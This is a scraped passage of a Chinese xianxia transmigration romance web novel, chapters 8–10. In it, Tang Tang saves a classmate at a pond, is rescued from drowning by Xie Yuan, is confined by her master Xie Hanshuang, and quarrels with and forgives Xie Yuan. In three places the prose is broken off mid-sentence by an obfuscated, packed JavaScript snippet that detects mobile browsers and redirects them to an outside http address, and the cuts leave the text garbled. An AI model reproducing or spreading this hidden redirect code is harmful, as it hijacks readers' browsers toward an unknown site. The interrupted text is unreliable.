其他心思?什么意思?她明明只是想推动男女主的感情线而已…… 唐棠无奈地叹了口气,心想果然不能操之过急。 虽然已至深夜,唐棠却无心睡眠,她今晚有更重要的事情要做。 待听到了谢寒霜回了寝殿,唐棠立刻躲到窗边,透过窗缝观察着谢寒霜殿中的动静。 直至谢寒霜殿内熄灭了灯火,唐棠这才小心翼翼地推开窗跳了出去。 她的住处与谢寒霜寝殿仅一墙之隔,唐棠半蹲下了贴着墙面蹑手蹑脚地离开,不敢发出一点动静,生怕谢寒霜觉察。 今夜她要去救一个人。 夜里寒风阵阵,唐棠穿行过静心峰草木丛生的小径,忽然听见一阵了幽咽宛转的哭声,吓得她浑身鸡皮疙瘩都起来了。 唐棠躲在树下,探出头看过去,浅淡的月色落在一弯池水中,岸边开着一株茂密的花树,一阵风吹过,花瓣簌簌飘落到湖面。 花树下蹲着一个熟悉的身影,是许灵鸢。 唐棠正欲上前,忽然见阴影中走出一人。 正是谢渊。 原著中,许灵鸢私自养的金丝竹鼠被宁岁安意外打死,此事又不能声张,半夜一个人躲到静池边伤心难过,谢渊及时发现,好心出面安慰,却刺激地许灵鸢想要投湖自尽,一番挣扎后,谢渊救下了许灵鸢。 事后却被前来巡夜的弟子发现,许灵鸢不好意思说自己一时冲动跳了进去,于是污蔑谢渊几番纠缠她不得,便将她推入了静池中。 此事在宗门内相传甚广,导致谢渊被关了一个月的禁闭。 唐棠本意是想此事无论如何都不能让谢寒霜知晓,最好是不要发生,却没想到她来晚了一步,眼看许灵鸢破口大骂,起身时一把将谢渊推开。 唐棠心中暗叫一声不好。 眼前情势危急,唐棠顾不得其他,立刻冲了上去,拉住了准备跳进静池里的许灵鸢。 却不料许灵鸢失去了平衡,即将跌入湖中,千钧一发之际,唐棠只得借力将人甩到岸边。 二人位置互换之时,唐棠脚下忽然一崴,剧烈的痛感自脚踝处传来,唐棠一时难以站稳,脚下趔趄着失去了平衡,跌入了水中。 唐棠脑中闪过原著许灵鸢落水的剧情,她替许灵鸢挡下了落水的剧情,结果自己却跌入了水中。 今日难不成就非得有人落水吗?! 唐棠忍不住在心中暗骂一声这该死的剧情杀。 夜里的池水冷得如同寒冬腊月里的水,瞬间就将唐棠淹没了,一瞬间窒息的恐惧感传来,唐棠挣扎着在水中浮潜,没扑腾两下就沉入了水中。 惊慌之际,唐棠张开嘴想喊救命,开口的一瞬间冰冷的池水猛地灌入口中,唐棠被呛得一个字也喊不出来。 波光粼粼的池水反射着冷冷月色,逐渐向下沉的唐棠忽然感觉眼前一暗,模糊的视线中出现一道熟悉的身影,跃入水中向她游来。 是谢渊。 池水冲散了他额前的碎发,露出光洁的额头,衬得他俊朗的眉眼愈发凌厉。 唐棠不断下沉,冰冷的池水灌入她口中,喉间传来强烈的剧痛让她几欲昏厥。 谢渊单手捞起唐棠纤细的腰肢,将人带往岸上,却见唐棠在水中不断呛咳。 “唐棠!闭气——” 谢渊的声音被水泡包裹着送入唐棠耳边,唐棠却意识模糊,没办法理解谢渊的话语。 在唐棠意识彻底混乱之前,她看见谢渊那张棱角分明的脸逐渐向她靠近,柔软的薄唇覆了上来。 一阵温热的触感让唐棠猛地回神,瞪大了双眼,慌乱间甚至想推开,谢渊搂在她腰际的手收紧了几分,几乎是强硬地打断她的动作。 直至上了岸,谢渊才了松口,但抱着她的手并未松开。 唐棠被抱在怀中,侧首倚靠在谢渊肩头,不断地呛咳着,想说的话被难以抑制的咳嗽声截断得不成字句。 “我、咳——” “没、没事、咳咳——” “你……先放我下来——” 唐棠冷得直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362689|183764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发抖,却固执地想让谢渊把她放下来,声音愈发沙哑,“放我下来,谢渊……” 几番来回,谢渊终是拧不过唐棠,依言将人放下,手却轻轻托着唐棠的后腰并未松开,生怕她失了力再度跌入水中。 在唐棠脚落地的那一刻,有人自林中走出,是静心峰的首席大弟子——林恕,身后来跟着两名面生的师兄。 林恕巡夜路过静池,听见动静赶过来查看,却见谢渊与唐棠二人浑身湿漉漉的站在静池边。 “这么晚了,你们在静池做什么?”林恕道。 “师兄——” 谢渊话音未落,唐棠打断了他,颤声道:“师兄,你先带她离开。” 唐棠抬手指着倒在不远处的许灵鸢,她方才只顾着救人,忘了收几分劲儿,许灵鸢整个人几乎是被她甩了出去,似乎是摔晕了过去。 林恕将手中提灯照向唐棠所指的方向,这才注意到了倒在一旁的许灵鸢。 “灵鸢!”林恕目光一凛,立刻上前将人扶起,探了探鼻息,回头看向二人,厉声道:“这是怎么回事?” 谢渊要开口解释,却被唐棠拦下,生怕他开口说错了话。 “我同谢渊来学舍收拾东西、咳——”唐棠嗓子痛得不行,强行压制住咳意,“路过静池看见灵鸢她心情不好,就想来安慰她一下……” “结果我自己脚滑跌进水里了。” 言罢,唐棠苍白的脸上挤出一个略带歉意的笑。 “你们……这么晚收拾东西要去哪?” 林恕方才虽稍显严厉,这一刻却又不自觉流露出对小师弟师妹的关心。 谢渊这次没再让唐棠开口讲话,沉声道:“我已得谢峰主应允,打算搬到无忧峰。” “随谢峰主修行不是坏事,你若留在学舍——” 林恕顿了顿,不再继续往下说,几日来,他也目睹了谢渊在自家峰主手下的遭遇,虽于心不忍,但也不敢顶撞半分。 好在如今,谢渊有了新去处。 “我带灵鸢先行离开了。” 林恕冲二人点了点头,抱起昏过去的许灵鸢离开。 待林恕和许灵鸢离开,唐棠方才强撑着的一口气彻底松了,身子也不由得靠向谢渊,昏昏沉沉的脑袋搭在谢渊肩膀,闭上眼眉头紧锁,小口小口地喘着气,试图平复自己的呼吸。 温热的气息呼在颈侧,传来一阵难以抑制的痒意,谢渊偏过头,开口时声音似沾染了夜色般深沉,“我送你回去。” “别……我怕师尊发现。” 唐棠发丝凌乱地粘在额头,她微微仰首看向谢渊,眼尾有些泛红,整个人冷得直打颤,看起来脆弱又可怜。 “我能不能……先去你那里?”唐棠轻声询问道。 谢渊喉结上下滚动,自喉间挤出一道气声,“嗯。” 唐棠被谢渊扶着迈出一步,脚踝处立马传来难忍的疼痛,身子不由自主地一软,跌入了谢渊怀中。 “我好像崴到脚了……”唐棠咬着下唇,有些难以启齿地轻声道。 唐棠正思虑着单脚跳回去可不可行,却忽然感觉到一阵滞空感,待反应过来,她已经被谢渊打横抱了起来。 夜风微凉,唐棠将头埋在谢渊颈侧,打了个冷颤。 8. 共夜 正如谢寒霜所言,无忧峰没有多余的住处,不过山间竹林后有一处略显简陋的柴房,离谢寒霜的寝殿相距甚远,不用担心会被发现。 在原著中,谢渊正式拜入谢寒霜门下之后便一直住在此处。 室内地方不大,但收拾的很干净,一方桌椅,一张床铺,简单又整洁。 唐棠身上的襦裙湿透了,又没有多余换洗的衣物,只能暂借谢渊的。 谢渊将崭新的弟子服递给唐棠,转身出去合上了柴房门。 唐棠坐在谢渊的床边,换好了衣服,谢渊本就比她高出许多,衣服自然也不大合身,唐棠将袖口想上翻折了几次,露出一截莹白如玉的小臂。 刚一换好衣服,唐棠立刻低声冲门外喊道:“谢渊,我换好了……” 夜里风大,谢渊浑身上下也都湿透了,若是在外面呆着受了风寒就糟了。 门外迟迟没有动静。 唐棠嗓子疼得厉害,声音也哑得不行,勉强地喊了声:“你进来吧……” 等了片刻不见人,唐棠方才对男女共处一室的矜持立刻消散得无影无踪,转而担心起了谢渊。 不会晕过去了吧?难不成身子比她还弱? 唐棠有些狐疑,正犹豫着要不要起身出去看看,就见谢渊推门进来了,手里还端着两碗热气腾腾的汤。 “姜糖水,驱寒的。”谢渊将碗递过来,轻声道。 唐棠接过瓷碗,低低地道了声谢,却没有立即喝下去,反倒是不安地扣着瓷碗边缘凹凸不平的花纹,微微抬眸撇了眼坐在桌前的谢渊。 油灯微弱的火苗跳动着,照亮了谢渊的侧脸,唐棠清晰地看见他嘴角的伤口。 方才在水下,她一时心急想推开谢渊,竟不小心咬伤了他。 伤口已经结痂,唇角有些红肿,谢渊端起碗喝糖水时碰到了伤口,有些吃痛地皱了皱眉。 唐棠咽了咽口水,正欲开口,却见谢渊转过头看向了她。 视线相接的一瞬间,唐棠慌忙避开。 谢渊见她端着碗迟迟不喝,温声提醒道:“趁热喝。” 唐棠点了点头,捧着碗小心翼翼地喝着,不小心咬到了姜片,被辣得眉头皱成一团,“好辣……” 低头一看,见底的碗中剩下大片大片的生姜,难怪没尝出什么糖水味,反倒被辣得受不了。 唐棠忍不住抱怨道:“你放了多少生姜?” “没放多少。” 唐棠抬眸,正巧撞进谢渊不解的目光中,一时心慌,结巴道:“我、我喝完了。” 谢渊起身,接过唐棠递来的空碗,俯身从怀中拿出一包油纸,打开一看,里面是澄黄澄黄裹着糖砂的蜜饯。 唐棠拿了一颗放进嘴里,糖砂很快融化,甜味过后带了些微酸的味道,缓解了嗓子的不适感。 在谢渊俯身的那一刻,唐棠很轻地道了声:“方才我不是故意的。” “什么?” 谢渊没明白她的话。 唐棠脸色已然涨得通红,心里暗骂谢渊,索性破罐子破摔地大喊道:“我说我不是故意咬你的!” 闻言,谢渊一脸震惊,良久才回过神来,抿了抿唇没说话。 见谢渊收拾起碗筷,唐棠犹豫道:“谢渊,我今晚……能不能呆在你这里?” 不等谢渊回答,唐棠先一步道:“你放心,我睡地上就行!不会打扰到你的!” 唐棠也是没法子了,她现在这副模样,不可能自己走回去,让谢渊送她回去又怕被谢寒霜发现,到那时候她真就是百口莫辩了。 “不用。”谢渊淡淡道。 唐棠一听就慌了,“我、我这样子没办法回去,万一被师尊发现——” “我是说——”谢渊拿了床被褥铺在地上,侧躺了上去,幽幽道:“不用你睡地上。” 唐棠有些不好意思,却又不知如何开口,手指不安地摩梭着衣角,看着身上的弟子服,忽然道:“衣服我洗干净了就还给你。” “嗯。”谢渊枕着手臂,背对着唐棠轻轻应了声,“睡吧。” * 清晨,天还未亮起来,唐棠就醒了。 打着哈欠从榻上爬起来,满脸困倦,实际上唐棠一整夜都未眠,每次闭上眼睛,眼前就浮现出昨夜水下的那一幕。 实在是没办法睡着。 唐棠离开时谢渊尚未醒来,她本想给谢渊留张字条告诉他自己回去了,翻遍了屋子也没找到纸笔,只好作罢。 行至谢寒霜寝殿门口,唐棠一瘸一拐地凑上去,小心翼翼地将耳朵贴在门上,听见里面的没什么动静,心想师尊大概还在睡觉,这才放下心来,往隔壁走去。 刚一推开门,就看见了背对她而坐的那道熟悉的背影,唐棠两腿一软,当即跪了下来,失声道:“师、师尊……?” 谢寒霜怎么会出现在她的房间?! “唐棠。” 一听这语气唐棠就大感不妙,只见谢寒霜微微侧首,冷声道:“你昨晚去哪了?” “我、我……” 唐棠思绪纷乱,大脑一片空白,正思虑着如何解释,忽然感觉脑袋猛地发热,紧接着眼前一黑,径直倒了下去。 再醒来时已至黄昏,窗户大开着,晚霞自窗外涌入室内,谢寒霜倚靠在窗边,昏黄的暖光衬得她眉目有几分温和。 唐棠醒来时只感觉脑袋昏昏沉沉的,没有第一时间注意到谢寒霜还在她屋内。待她看见了谢寒霜,再想装睡已然来不及了,只能硬着头皮喊了声:“师尊。” 声音哑得厉害,几乎是只发出了一道气声,然而谢寒霜还是觉察到了,走到她榻边,伸手探了探她额头。 冰冷的指尖一触到她,唐棠立马向后缩了几分,哑着嗓子撒娇道:“师尊,你的手好凉。” 这是唐棠拿捏谢寒霜的惯用伎俩,屡试不爽。 “是你太烫了。”谢寒霜情绪松动,难得反驳,温声道:“躺下。” “哦。”唐棠依言乖乖躺好。 谢寒霜起身离开了唐棠的屋子,没多久又走了回来,手里还端着一精致的白玉瓷碗。 “喝药。”谢寒霜将冒着热气的汤碗递给唐棠。 唐棠接过碗,一阵苦涩的药味传来,唐棠忍不住捏着鼻子道:“好苦啊……” 想起昨晚吃的那颗蜜饯,唐棠轻声道:“有没有糖啊,师尊?” 谢寒霜很自然地摸了摸袖间,唐棠以为她真的准备了干果蜜饯一类的甜食,却不料谢寒霜掏出了一个酒袋。 “梅子酒。”谢寒霜将酒袋递给唐棠,面无表情地解释道:“甜的。” “……”谁家病人还能喝酒的?! 唐棠果断摇头拒绝,“我、我还是喝药吧。” 唐棠捏着鼻子一口气将碗中的药喝尽,听见谢寒霜冷声道:“自今日起,禁足七日,不许踏出房门一步。” “禁足?为什么?!”唐棠放下药碗,哀嚎道。 “不想被禁足?”谢寒霜挑眉道:“那你解释一下昨夜去哪了?” “……”她要怎么开口?不小心亲了自家好大儿? 谢寒霜见唐棠不语,接过药碗便起身离开了,走出去之前脚步顿了顿,回首道:“这几日便好好休息,不必习剑了。” 一连数日,唐棠都被谢寒霜看得死死的,别说房门,连床都不曾下过几次,日日浸泡在药碗中,唐棠感觉自己都被腌入味了。 当着谢寒霜的面将碗中的汤药一饮而尽,唐棠正想开口求求谢寒霜放她出去,却听见谢寒霜先她一步开了口,“唐棠,我要离开几日。” 离开?唐棠心中暗喜这下子没人能看管自己了,又听见谢寒霜道:“你禁足还有几日期满?” 唐棠低头掰了掰手指头,十分认真道:“还差两日。” “两日后开始习剑,将剩余的宗门律法抄完交予我。” “嗯嗯。”唐棠乖顺地点了点了头,“师尊,那你……什么时候回来?” “怎么?想出去?”谢寒霜冷笑了一声。 唐棠摆摆手,忙道:“没有没有——我就随口问问……” “三日后归。” 谢寒霜颇有耐心地解释了一句,随后起身离开。 待谢寒霜离开,唐棠立刻在屋内翻找了起来,直至找到了谢渊的弟子服才笑了出来。 她被谢寒霜禁足几日以来,谢渊都不曾来过,一直没有机会将弟子服还给他。 出门前唐棠十分谨慎地先在窗边看了看,还特地放声喊道:“师尊……?” 无人回应。 看样子是真的离开了。唐棠窃喜,大摇大摆地推开了门,正要抬腿出去,脚下亮起一道金色的光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“没、没什么的,唐棠……”宁岁安被晃得晕沉沉的,慌忙道:“你先放开我……” 唐棠放开了宁岁安,笑着追问道:“你方才瞒着我的事是什么?” “你被谢峰主禁足了,我不敢说。”宁岁安怯懦道。 唐棠不明白这两件事之间有什么关联,不解道:“为什么?” “因、因为我说了的话你一定会跑出去,到时候被谢峰主发现,岂不是又要受罚……”宁岁安一双细眉微微蹙起,担心地看着唐棠。 唐棠虽然好奇,但更怕谢寒霜责罚,便道:“再有两日我就能出去了,那你就到时候再告诉我吧~” “好。”宁岁安笑着点了点头。 “对了,你帮我个忙。”唐棠起身在凌乱不堪的榻上摸出了谢渊的弟子服,“帮我把这件衣服还给谢渊,顺便告诉他我被禁足了,若是有什么事让他来找我。” 闻言,宁岁安显得有些犹豫,迟迟不肯接过唐棠递过来的衣物。 良久,才低低地开口道:“我、我不敢去,谢渊他前两日——你还是自己给他吧……” 言罢,宁岁安拿起空了的药碗就往出走。 唐棠一把将人拉住,“谢渊怎么了?” 宁岁安甩不开唐棠的握着她的手,一时紧张地都快哭出来了,“我现在还不能说……” “那什么时候能说?”唐棠将人放开,温声道。 “两、两天后。” 唐棠想起方才宁岁安的话,若是讲了出来她一定会不顾谢寒霜留下的禁制阻拦跑出去,看样子谢渊一定出了什么大事。 “告诉我,安安。”唐棠叹了口气,平静道:“谢渊怎么了?” 宁岁安眼睛一瞬间就红了,害怕道:“我、我看见师兄他们欺负谢渊了,谢、谢渊他好像还受伤了……” 听到谢渊受伤几个字,唐棠脑袋里嗡地一声炸响。 自她穿书以来,能替谢渊避免的灾祸都尽其所能的避免了,在她的庇护之下,谢渊几乎没怎么受过伤,但一次又一次接踵而来的剧情杀让唐棠意识到,即便今日谢渊没有经历这段剧情,那明日一样会经历。 “该死的剧情杀!” 唐棠咬牙骂了声,在宁岁安的啜泣声中闯出了寝殿。 9. 吵架 在去找谢渊的路上,唐棠脑袋里一片混乱,想到原著中被她更改的故事线,谢渊本该在秘境中受伤,错过了拜谢寒霜为师的机会,却因她的出现意外夺得了魁首,遭到了许灵鸢的报复。 眼下好不容易从学舍逃了出来,现在又出了事。 唐棠疾步穿行过竹林,看见了谢渊所在的柴房,厉声喊道:“谢渊!” 没人应她,唐棠眉头紧拧,三两步跑上前,直接推开门,闯了进去。 “谢——” 入目是谢渊挺拔的背脊,健壮的身材掩映在墨色长发下,抬起的手臂线条流畅,虚虚地搭在肩上,侧首垂眸,长睫似鸦羽般浓密纤长,高挺的鼻梁勾勒出惊人的侧颜,浅淡的薄唇轻启,不带任何情绪。 “你怎么来了?” 唐棠思绪尚未回笼,忽然感觉鼻尖一热,一股暖流缓缓淌下,伸手一摸,指尖便沾上了鲜红的血迹。 她居然流鼻血了! 唐棠一个转身,捂着鼻子猛地蹲下身,生怕谢渊发现。 一定是这两天喝的那些该死的补药!对!没错!都怪谢寒霜! 谢渊三两下穿上了衣服,回过身来见唐棠抱头蹲在门口,声音闷闷地道:“我、我是来还你衣服的……” 身后递来一方干净的帕子,唐棠心虚地接过来,擦了擦脸上的血,起身想将衣服还给谢渊,忽然发觉自己根本没带来。 “我走的太急,忘带了……”唐棠垂着脑袋,越说声音越低,“我明天一定还给你。” “不用还了,我还有一件。”谢渊接过话,淡淡道。 “?” 唐棠此时才觉察出谢渊的情绪不太对劲,怎么这么冷漠……? “师兄他们是不是又为难你了?你受伤了吗?”唐棠仰首对上谢渊的视线,询问道。 谢渊侧首垂眸,避开了唐棠的目光,淡声道:“没有。” 唐棠一听立马急了,“不可能!我亲眼——亲耳所听的!你告诉我,谁欺负你了,我去给你报仇!” 谢渊岔开了话题,“你不是被禁足了吗?早点回去吧。” 闻言,唐棠一愣,谢渊怎么知道她被禁足了? “你怎么知道我被禁足了?你来找过我吗?” 不对呀,谢渊如果来找过她,她怎么一点都不知道呢? 唐棠正思索着,忽然想起那日不告而别后晕过去的事,难道谢渊是那个时候来的,那岂不是撞见谢寒霜了?! 见谢渊转身要走,唐棠一把将人拉住,两手捧着谢渊的脸,轻轻踮起脚尖贴近谢渊,不许他再躲开自己的目光,质问道:“你是不是遇见谢寒霜了?她说了什么?” 唐棠已然气急,两只手将谢渊的脸都捏变形了,带入亲妈视角里,自家的好大儿一天天的不仅要被师兄弟欺负,还要经受女主谢寒霜的虐待,一个好端端的三好少年,难怪变成了那样一个自卑又敏感的小孩! 这次谢渊没能躲开唐棠的目光,垂眸看着她气鼓鼓的脸颊,莫名想到了玩毛线球结果不小心将自己缠住的小猫。 她想听什么呢? 那日早晨醒来不见唐棠的身影,他的确去了找了,不过没能见到唐棠,反倒遇见了从唐棠寝室中走出的谢寒霜。 谢寒霜不许他再来找唐棠,不许他影响唐棠修行。 她视唐棠为亲传弟子。 唯一的亲传弟子。 唐棠看见谢渊眼底翻涌的情绪,不知他心底在想什么,怒声道:“说话!谢寒霜是不是对你说了什么?!” 谢渊很轻地眨了下眼,再睁开时眼底翻涌的情绪已全然不见,他轻声道:“没有。” 随即拨开了唐棠的双手,又重复了一遍:“我没有去找过你。” 撒谎……唐棠咬紧了牙关,双手握拳紧紧贴在身侧,开口时放缓了声音,“谢渊,我再问你一次。你到底有没有见过谢寒霜?你最好想清楚了再说。” 谢渊脸上没什么表情,却沉默了很久,久到外面开始下雨,淅淅沥沥的雨点打在破旧的茅草屋顶,水滴顺着墙角滑落,滴答在屋里。 “外面在下雨,我给你拿把伞。” 谢渊没有正面回答唐棠的问题,反倒下达了逐客令。 听见谢渊的回答,唐棠方才一直压抑的怒火彻底爆发了,推开了谢渊,怒喊道:“我才不要你的破伞!” 你要是想当一辈子缩头乌龟那就当吧!我不管了!什么狗屁HE结局!谁爱完成谁去! 唐棠冒雨跑了出去,穿过竹林时主动放慢了脚步,细雨打在竹叶上发出轻脆的声响。 行至半路,看见了撑伞跑来的宁岁安。 “唐棠!”宁岁安轻唤一声,跑了过来,将手中的伞递给唐棠。 见唐棠情绪低落,宁岁安柔声道:“唐棠,你没事吧?” “没事。” 唐棠撑伞和宁岁安一同穿行过竹林,宁岁安转身往书阁走去,她前几日借的医术今日看完了,正打算还回去,见唐棠也跟着她同行,宁岁安问道:“你不回去吗?” 唐棠摇了摇头,应道:“我要去书阁。” 反正已经闯了禁制,谢寒霜肯定已经知道了,现在回去也于事无补,干脆将书阁的宗门律法借出来,趁这两天赶紧抄完,到时候好向谢寒霜求饶。 * 再见到谢寒霜已是四天后,比约定的晚了半日。 “唐棠!” 一道焦急的声音传来,唐棠真在桌案前抄着宗门律法,听见动静犹豫了片刻,走到窗边向外看去。 是谢渊。 还有浑身被鲜血浸透的谢寒霜。 眼前这一幕太过震撼,唐棠第一时间跑到门口,正要打开门,忽然想起原著中谢寒霜与谢渊相识后从未遭受过如此重创,此景更像是男女主的初次接触。 唐棠捏着笔认真回想,原著中谢寒霜时常离宗,大多是前往一些穷乡僻壤、没有仙门庇护的地方,替当地的百姓除妖,身上沾染的多半是妖兽的鲜血,不是她本人的。 谢渊不知晓此事,撞见浑身浴血的谢寒霜倒在竹林中,还以为她受了重伤,实则谢寒霜只是多日未眠,睡着了而已。 谢渊守了一天一夜,才等到谢寒霜睡醒。 唐棠撇了撇嘴,这段剧情是推进男女主感情线的,没有她的戏份。 懒得搭理谢渊,唐棠转身回了桌案前继续抄书。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362691|183764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >门外却传来敲门声,谢渊的声音再度响起:“唐棠!谢峰主受伤了!” 唐棠翻了个白眼,心道:那你该找杏林峰峰主啊,找我干嘛? “我已飞书传至杏林峰……” 那你就守着等人来啊!别找我了! 唐棠被谢渊吵得烦躁,索性一边念宗门律法一边誊抄:“过亥时,弟子间严禁私会谢渊——” “……”唐棠停笔,完蛋抄错了。 可恶的谢渊!你就不能安安静静地守着谢寒霜吗?! 无奈开了门,唐棠冷哼一声道:“干嘛?” 谢渊额角覆着一层细密的汗珠,微微喘着粗气,“谢峰主受伤了,我不便替她换衣查看伤口……” “行,我帮师尊更衣。” 唐棠侧身避开谢渊,行至谢寒霜寝殿,“砰——”的一声将人关在门外。 如谢渊所言,谢寒霜浑身都是血,乍一看还真像是身受重伤昏迷不醒。 唐棠一边扶起谢寒霜替她将染血的外衫褪下,一边心想换完衣服她就跑路,让谢渊在这守着。 谁知衣服脱到一般,谢寒霜那双冷若冰霜的双眸缓缓睁开了。 “!”你不是应该先昏睡个一天一夜吗?!怎么突然醒了? 唐棠大惊,立刻换了副乖巧模样,手指尖微微发颤,泫然欲泣道:“师尊!你不要死啊……” “别装了。”谢寒霜声音微哑。 “……” 唐棠不好意思地吐了吐舌,撇嘴道:“……哦。” 见谢寒霜自己脱下了外衫,唐棠下意识伸手去接,却见谢寒霜抬手一扔,让她扑了个空。 “……” 谢寒霜拿出一小包油纸,里面不知包着什么。 唐棠愣了一下,以为是给她的奖赏,摆了摆手没敢接,道:“不是我送您回来的!是谢渊!他叫我过来帮您看一下伤口!” 言罢,唐棠扭头喊谢渊进来领赏,“谢渊你进来吧!师尊没事!” 谢渊以为唐棠替谢寒霜换好了衣服,便推门进来了,谁知竟看见谢寒霜倚靠在榻边,已然醒了过来。 慌忙间,谢渊行礼道:“拜见谢峰主。” 谢寒霜将手中油纸向唐棠又递了递,道:“不是想吃糖吗?” 搞半天不是给谢渊的。 唐棠一愣,想起前几日喝药时对谢寒霜说的话,便接过了油纸,打开旁若无人地吃了起来,一边吃着,一边口齿不清地说道:“师尊!多亏了谢渊救你回来,不然我都不知道什么时候能见到你!” 看谢渊那副木头样子,别说邀功了,怕是救人一事他都不会自己说!唐棠被杏子酸的直流口水,起身道:“既然师尊没受伤,我就先去杏林峰告知一声,免得到时让人白跑一趟。” 言罢,唐棠正打算走出去,让谢寒霜和谢渊二人单独相处。谁知,谢寒霜抬手并起二指一挥,修长的指尖上一道淡蓝色的灵流闪过,桌上的长剑立马飞了出去。 “不必去了。”谢寒霜淡淡道。 杏林峰上,接到了谢渊传信的弟子尚未打开信纸查看,忽然从空中飞来一柄长剑,将他手中的信纸贯穿,钉在了身后的参天古树上。 10. 坠月 谢寒霜将二人一同赶出了寝殿。 “……” 唐棠与谢渊面面相觑,沉默半晌,唐棠忽然想起前几日与谢渊不太愉快的见面,扭头哼了一声,转身打算回自己的房间继续抄书。 “唐棠。” 身后传来谢渊清澈沉稳的声音。 唐棠回身,有些不高兴道:“干嘛?” “林师兄让我来告诉你,明日是万剑峰试炼之日。”谢渊喉结上下滚动,声音里染上一丝难以觉察的紧张,“你会来参加吗?” 万剑峰是凌霄宗十二峰之一,占地极广,仅次于宗主孟虞所在的主峰。 万剑顾名思义即是万千无主灵剑的归处,其上不仅有前辈大能斩获却没能降伏的高阶仙剑,亦保存有宗门内亡故弟子曾经使用过的剑。 新入门弟子在学舍修行一月后统一参加试炼,前往万剑峰寻找自己的本命剑。 这段剧情唐棠十分熟悉,毕竟这差不多算是自家好大儿前期为数不多的高光时期。 说实话,她是有点想去瞧一瞧。 不过…… 唐棠装出一副不在意的模样,耸了耸肩,漫不经心道:“不知道,还得看师尊让不让我去。” 说完,唐棠转身回了自己的房间,耳朵在门上仔细听着门外的动静。 谢渊静默着站在原地许久,才抬腿离开无忧峰。 唐棠听见谢渊渐远的脚步声,心底暗骂一声:真是块木头!道个歉都不会! “谢渊!”唐棠打开门,高声喊道:“你给我站住!” 谢渊回头,眸光微微闪动,眼底满是错愕。 风扬起唐棠澄黄的发带,带动纷飞的衣袂,似一只翩然起舞的蝴蝶,三两步跑至谢渊身前,唐棠踮起脚,抬手就是一记手刀,不偏不倚正中谢渊头顶。 “你就没别的想对我说的吗?”唐棠拧眉怒道。 谢渊愣住,“我……” 见谢渊迟疑,唐棠抬手又是一记手刀,手上未收着力气,反倒将自己疼得呲牙咧嘴。 饶是如此,嘴上依旧不肯放过谢渊,“我好心去看你,你不感谢我就算了,还赶我走!难道你就不该向我道歉吗?!” 这次谢渊没有沉默,反倒是很认真地开口道歉:“对不起。” 唐棠看着他还有些茫然的模样,气得有些想笑,哼了声:“你早该向我道歉了!坦诚一点不好吗?你这副木头模样师尊怎么可能……” 怎么可能喜欢你!唐棠没好意思点破谢渊的心思,清了清嗓子,斜睨着谢渊,道:“都怪你,现在我手受伤了,剩下的宗门律法我要怎么抄?” 唐棠的心思昭然若揭,谢渊也没点破,十分自然道:“我可以帮你抄完。” 闻言,唐棠眼睛一弯,笑道:“这可是你自己说的!” * 书阁内。 谢渊盘腿坐在唐棠对面,认认真真地替唐棠抄书。 唐棠则百无聊赖地倚在窗边,一手支着脑袋,一手翻看着《修仙纪事》。 的确如谢渊所言,这本书记载里历年凌霄宗发生的大事,文风古朴且严肃,实在是无趣。 唐棠正要合上书,晚风忽然吹动书页,翻看到意料之外的故事,唐棠不由自主地念了出来:“微生末……” 微生末,姓微生,名末,是凌霄宗开山之祖的名字。 唐棠一时来了兴致,细细地读了起来,“凌霄宗开山之祖微生末救下了身受重伤的大妖,悉心照料,教其向善,可妖性本恶,没过多久那只大妖便原形毕露,掠食人心,残害百姓。微生末彼时已然爱上了大妖,不忍心将其杀死,遂祭神魂,召出凌霄剑意,将其镇压于山下……” “这、这都是什么?!” 唐棠念不下去了,一脸震惊,原著中这俩人还有感情戏吗?她这个原著作者怎么不知道?! 正看着手中的书不知所措,一阵风吹来,将书页吹散,正落到谢渊面前的桌案上。 谢渊拾起那片掉落的书页,看了眼,道:“许是哪位师姐编的,夹在书中忘了取走。” 唐棠接过了那张书页,与手中的那本笔迹做了对比,果真不一样。 没想到凌霄宗内还有这等奇人,居然胆敢给开山之祖编排话本子,还是这种恶俗且狗血的桥段。 唐棠咂舌。 谢渊低头一边抄书,一边解释道:“不过也不全是编的。” “怎么说?” “镇压于山下的那只大妖的确喜食人心。”谢渊抬头,看向唐棠时眼中闪过一丝狡黠,“千年之期一到,大妖便会冲破封印,屠戮人间。” 身为原著作者,唐棠对此事自然比谢渊清楚得多,敏锐地捕捉到了谢渊变化的眸光。 想吓唬我啊? 唐棠心底“切——”了一声,佯装出一副害怕的模样,将书半合盖住脸,掩住嘴角的笑意,失声道:“那我们岂不是都要死在这儿?” 谢渊很轻地笑了声,道:“不用害怕。十年前,那只大妖已被斩落于谢峰主剑下。” 唐棠腹诽道:若十年前大妖真死在了谢寒霜剑下,就不会有你和谢寒霜的故事了。 看着谢渊认真解释的样子,唐棠心中冒出莫名的想法,这个时期的谢渊还蛮可爱的,模样介于青年与少年之间,即便平日里行事沉稳妥当,难免偶尔会流露出少年心思。 只是可惜后来在谢寒霜的凌虐下长歪了。 